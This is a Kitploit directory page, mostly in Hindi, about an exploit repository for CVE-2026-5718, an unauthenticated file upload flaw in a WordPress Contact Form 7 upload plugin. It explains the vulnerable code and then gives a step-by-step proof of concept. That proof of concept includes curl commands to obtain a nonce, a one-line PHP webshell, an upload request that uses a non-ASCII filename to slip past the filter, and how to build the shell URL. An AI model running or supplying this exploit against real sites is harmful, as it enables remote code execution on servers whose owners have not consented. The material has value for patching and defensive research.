Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-5718 — CVE-2026-5718: DnD Upload CF7 प्लगइन में अनधिकृत फ़ाइल अपलोड से RCE | Kitploit
उपकरण/GitHubGitHub/xxconi/cve-2026-5718
पेलोड जनरेशनभेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubxxconi/cve-2026-5718

CVE-2026-5718

CVE-2026-5718: DnD Upload CF7 प्लगइन में अनधिकृत फ़ाइल अपलोड से RCE

रिपॉजिटरी देखें
54 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-5718

CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin

CVE-2026-5718 — DnD CF7 File Upload RCE Scanner

Plugin: Drag and Drop Multiple File Upload for Contact Form 7 Plugin Slug: drag-and-drop-multiple-file-upload-contact-form-7 CVE ID: CVE-2026-5718 CVSS Score: 8.1 (High) CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H भेद्यता प्रकार: Unauthenticated Arbitrary File Upload → Remote Code Execution प्रभावित संस्करण: <= 1.3.9.6 पैच किया गया संस्करण: 1.3.9.7 जारी तिथि: 17 अप्रैल 2026 शोधकर्ता: Leonid Semenenko (lsemenenko) — Wordfence


📌 भेद्यता के बारे में

Drag and Drop Multiple File Upload for Contact Form 7 प्लगइन में दो स्वतंत्र तर्कदोष मिलकर एक अनधिकृत हमलावर को PHP वेबशेल अपलोड करने की अनुमति देते हैं।

  1. ब्लैकलिस्ट विध्वंस: अनुकूलित ब्लैकलिस्ट कॉन्फ़िगरेशन डिफ़ॉल्ट खतरनाक एक्सटेंशन सूची को जोड़ने के बजाय पूरी तरह बदल देता है। php अब अवरुद्ध नहीं होता।

  2. गैर-ASCII बायपास: फ़ाइल नाम में गैर-ASCII वर्णों की उपस्थिति wpcf7_antiscript_file_name() फ़ंक्शन के कॉल को रोकती है। .php एक्सटेंशन बरकरार रहता है और फ़ाइल डिस्क पर लिखी जाती है।


🔍 भेद्यता सारांश

क्षेत्रमान
प्लगइन नामDrag and Drop Multiple File Upload for CF7
CVE IDCVE-2026-5718
CVSS स्कोर8.1 (उच्च)
भेद्यता प्रकारUnauthenticated Arbitrary File Upload
प्रभावित संस्करण<= 1.3.9.6
पैच किया गया संस्करण1.3.9.7
पूर्व शर्तCF7 फॉर्म में blacklist-types अनुकूलित कॉन्फ़िगरेशन आवश्यक

⚙️ तकनीकी विश्लेषण

भेद्यता 1 — Nonce सार्वजनिक है (पंक्ति 62)

// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
    // एकमात्र सुरक्षा: User-Agent में 'curl' जाँच — आसानी से बायपास किया जा सकता है
    if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
        wp_send_json_error('Request blocked: cURL access is forbidden.');
    }

    if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
        // अमान्य nonce → नया nonce लौटाता है
        wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
    }
}

wp_ajax_nopriv__wpcf7_check_nonce एक्शन सार्वजनिक है। जब अमान्य nonce भेजा जाता है, तो नया nonce मुफ्त दिया जाता है। Mozilla UA के साथ curl जाँच को बायपास किया जाता है।


भेद्यता 2 — ब्लैकलिस्ट बदलना (विलय के बजाय) (पंक्ति 883)

// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 खतरनाक एक्सटेंशन: php, php3, php4, pht, phtml, phar...

if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
    $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
    // ↑ ASSIGNMENT (=) — MERGE नहीं
    // अनुकूलित सूची: केवल ['zip']
    // 'php' अब सूची में नहीं है → स्वीकार किया जाता है
}

ट्रिगर करने वाली फॉर्म टैग कॉन्फ़िगरेशन:

[mfile upload-file filetypes="*" blacklist-types:zip]

एडमिन ZIP को ब्लॉक करना चाहता है → प्लगइन सभी डिफ़ॉल्ट डेनीलिस्ट को हटा देता है। php सहित सभी खतरनाक एक्सटेंशन अब स्वीकार किए जाते हैं।

इसके अलावा, filetypes="*" के लिए हार्डकोडेड सूची भी अधूरी है:

// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' गायब हैं
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );

भेद्यता 3 — गैर-ASCII बायपास (पंक्ति 970)

// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );

if ( dnd_cf7_check_ascii( $ascii_name ) ) {
    // केवल शुद्ध-ASCII फ़ाइल नामों के लिए कॉल किया जाता है
    $filename = wpcf7_antiscript_file_name( $ascii_name );
    // ↑ shell.php → shell.php.txt बनाता — लेकिन बायपास हो जाता है
}
// यदि गैर-ASCII वर्ण है, तो यह ब्लॉक बायपास हो जाता है
// $filename = "shellシ.php" → .php एक्सटेंशन बरकरार रहता है
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
    $string = sanitize_file_name( $string );
    // ↑ केवल स्थानीय प्रतिलिपि बदलती है, बाहरी $filename प्रभावित नहीं होता
    if ( mb_check_encoding( $string, 'ASCII' ) ) {
        return true;
    }
    return false;  // गैर-ASCII वर्ण → false → antiscript बायपास
}

🔴 पूर्ण आक्रमण श्रृंखला

┌─────────────────────────────────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce   │
│  User-Agent: Mozilla/5.0  (curl नहीं)                      │
│       │                                                     │
│       ▼                                                     │
│  {"success":true,"data":"abc123def456"}                     │
│  → Nonce मुफ्त प्राप्त हुआ                                 │
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload  │
│  security=abc123def456                                      │
│  upload-file=shellシ.php (Content-Type: application/x-php) │
│       │                                                     │
│       ├── Nonce मान्य ✓                                     │
│       ├── blacklist=['zip'] → 'php' अवरुद्ध नहीं ✓         │
│       ├── dnd_cf7_check_ascii("shellシ.php") = false        │
│       ├── wpcf7_antiscript_file_name() बायपास किया गया ✓    │
│       └── move_uploaded_file("shellシ.php") → डिस्क पर लिखा गया│
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  GET /wp-content/uploads/wp_dndcf7_uploads/                 │
│      wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id          │
│       │                                                     │
│       ▼                                                     │
│  uid=33(www-data) gid=33(www-data) groups=33(www-data)     │
│  → अनधिकृत RCE ✓                                           │
└─────────────────────────────────────────────────────────────┘

🧪 Proof of Concept (मैन्युअल)

⚠️ अस्वीकरण: यह PoC केवल शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। केवल उन सिस्टम पर उपयोग करें जिनके आप स्वामी हैं या जिनके लिए आपके पास स्पष्ट लिखित प्राधिकरण है।

पूर्व शर्तें:

  • प्लगइन स्थापित और सक्रिय (संस्करण <= 1.3.9.6)
  • CF7 फॉर्म में [mfile] फ़ील्ड blacklist-types के साथ:
    [mfile upload-file filetypes="*" blacklist-types:zip]
    

चरण 1 — Nonce प्राप्त करें

TARGET="https://target.example.com"

NONCE=$(curl -s -X POST \
  "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  --data "action=_wpcf7_check_nonce" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")

echo "Nonce: $NONCE"

अपेक्षित प्रतिक्रिया:

{"success": true, "data": "abc123def456"}

चरण 2 — गैर-ASCII फ़ाइल नाम के साथ वेबशेल बनाएँ

# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"

चरण 3 — शेल अपलोड करें

FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')

curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  -F "action=dnd_codedropz_upload" \
  -F "security=${NONCE}" \
  -F "form_id=${FORM_ID}" \
  -F "upload_name=${FIELD_NAME}" \
  -F "upload_folder=${SESSION_FOLDER}" \
  -F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"

अपेक्षित प्रतिक्रिया:

{
  "success": true,
  "data": {
    "path": "<session-folder-uuid>",
    "file": "shellシ.php"
  }
}

चरण 4 — शेल URL बनाएँ

UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"

टूल डाउनलोड करें